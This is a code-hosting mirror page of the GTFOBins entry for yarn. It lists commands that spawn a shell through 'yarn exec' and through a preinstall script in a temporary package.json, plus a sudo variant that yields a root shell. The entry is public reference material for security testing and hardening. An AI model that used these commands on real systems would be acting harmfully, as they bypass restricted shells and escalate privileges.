This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-19 10:04:54 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
11c69d5497c18d783118410b35df76616069c88d
GTFOBins.github.io
/
_gtfobins
/
yarn.md
Andrea Cardaci
fd476e08c2
Update yarn and npm shells
...
Mention an additional way to run scripts as suggested in
#224
.
2021-06-22 22:11:05 +02:00
403 B
Raw
Blame
History
functions
functions
shell
sudo
code
yarn exec /bin/sh
description
code
Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `yarn --cwd $TF run preinstall`.
TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json yarn --cwd $TF install
code
sudo yarn exec /bin/sh
Reference in New Issue
View Git Blame
Copy Permalink